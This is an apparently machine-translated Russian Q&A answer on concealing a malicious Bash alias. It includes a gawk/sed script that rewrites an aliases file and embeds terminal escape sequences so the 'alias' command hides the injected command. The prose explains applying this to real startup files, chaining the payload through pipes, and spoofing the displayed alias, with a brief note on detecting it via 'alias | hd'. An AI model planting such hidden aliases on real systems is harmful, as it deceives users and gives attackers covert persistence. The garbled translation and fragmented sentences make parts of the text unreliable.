Можно ли скрыть существование вредоносного псевдонима в Bash в системе Linux и запустить его пользователем без его ведома?
Это можно сделать, добавив существующий псевдоним к вредоносному и используя перемещение курсора, чтобы скрыть его, если alias
Команда используется для отображения определений псевдонимов. Это не совсем надежный метод, но какое-то время он может оставаться незамеченным. Трубопровод alias
через hd
покажет вам, есть ли в ваших псевдонимах какие-либо escape-последовательности (перемещение курсора). Вот пример того, как вредоносная команда может быть вставлена в псевдоним:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
команда модифицирует файл с именем «псевдонимы» на месте - настоящий сценарий этого типа перехватит горло и изменит реальный файл сценария, так что вредоносный псевдоним будет активирован при следующем запуске.hide
в качестве аргумента, так что можно предположить, что вы можете получить ошибку, аналогичную той, о которой сообщается в этот вопрос. Можно было бы изменить исходную и вредоносную части, чтобы повлиять на это, хотя это может помешать аргументам, передаваемым псевдониму. В приведенном выше сценарии сделана попытка отметить конец аргументов с помощью --
.&&
, вы можете перенаправить один к другому и создать вредоносный сценарий (представленный выше простым echo
команда) функционирует как stdin
к stdout
сквозной либо для изменения данных по мере их прохождения, либо для дальнейшего скрытия своего существования, не мешая другим перенаправлениямhide
строка может быть изменена, чтобы включать другое перемещение курсора и текст исходного псевдонима, чтобы alias
Команда будет показывать неизмененный псевдоним вместо того, чтобы скрывать его вместе с вредоносной частью.. aliases
. Затем вы можете попробовать использовать затронутый псевдоним и посмотреть, как он будет выглядеть, когда вы это сделаете alias|hd
.